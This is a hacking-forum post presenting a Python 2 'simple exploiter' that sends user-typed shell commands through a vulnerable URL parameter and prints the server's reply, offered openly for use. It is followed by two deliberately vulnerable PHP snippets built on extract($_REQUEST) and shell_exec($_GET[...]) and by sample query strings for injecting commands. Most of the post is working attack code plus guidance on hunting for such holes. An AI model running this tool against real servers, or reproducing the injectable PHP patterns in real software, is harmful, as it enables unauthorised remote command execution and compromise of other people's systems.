

Forum:[Hack Forums](#)

Thread: [REMOTE CODE EXECUTION - SIMPLE EXPLOITER](#)

I-GANK-I - October 28, 2017, 2:19 pm

Below is an easy to understand python code for how to make Exploiter's.
i hope you guys can learn from this.

Enjoy.

Software used: JetBrains PyCharm Edu 4.0.2
Python interpreter version: 2.7.11

Credits for code below goes to websec.nl , thanks for the share.

Code

```
import urllib2
```

```
import urllib
```

```
import bs4
```

```
from bs4 import BeautifulSoup
```

```
print('## COMPANYNAME - REMOTE CODE EXECUTION ##')
```

```
print('## RCE PoC By NAMEHERE          ##')
```

```
print('## Target: SITENAME              ##')
```

```
print("")
```

```
# DEFINE Exploit
```

```
def rce_exploit():
```

```
    try:
```

```
        print('-- enter the bash command below --')
```

```
        payload = urllib.quote(raw_input("SH: "))
```

```
        print("")
```

```
        print('[+] sending command to server...')
```

```
        target = ("http://exampletarget.com/?vulnerable_var=" + payload)
```

```
        print('[+] fetching server response...')
```

```
        print("")
```

```
        response = urllib2.urlopen(target)
```

```
        fetch = BeautifulSoup(response, 'html.parser')
```

```
        print('-----DATA RECEIVED-----')
```

```
        print("")
```

```
        print fetch.prettify()
```

```
        print('-----')
```

```
        print("")
```

```
    except urllib2.HTTPError as e:
```

```
        print '[-] HTTP Error, request failed.'
```

```
        print 'Error Code: ', e.code()
```

```
    except urllib2.URLError as e:
```

```
        print '[-] URL Error, Maybe patched or server down.'
```

```
        print 'Error Reason: ', e.reason
```

```
# CALL Exploit
rce_exploit()
```

```
# FINALIZE
```

```
try:
```

```
    print '[+] command executed successfully.'
```

```
    print "
```

```
    again = raw_input('Would you like to execute another command [Y/N]?')
```

```
    if again.lower() == 'yes' or again.lower() == 'y':
```

```
        rce_exploit()
```

```
    else:
```

```
        print 'Goodbye :-)'
```

```
except Exception:
```

```
    print '[-] Something went wrong.'
```

```
    pass
```

How to find RCE in PHP code?

simple, download <https://www.fileseek.ca/> and search the entire code for instance:

RCE Vulnerable PHP code:

PHP Code

```
<?php
```

```
@extract($_REQUEST);
```

```
@die ($shell($exec));
```

in the above demo the string will look like: .php?shell=system&exec=COMMAND HERE (for example: ls -lia)

RCE Vulnerable PHP code 2:

PHP Code

```
<?php
```

```
echo shell_exec($_GET['vulnerable_var']);
```

in the above demo the string will look like: .php?vulnerable_var=COMMAND HERE (for example: ls -lia)

now there are many more PHP codes that will do this kind of stuff, i think eval also executes (you can find them by googeling exploitable PHP functions)

More info: <https://stackoverflow.com/questions/3115559/exploitable-php-functions>

For now i hope to have helped you with this.

Good luck ?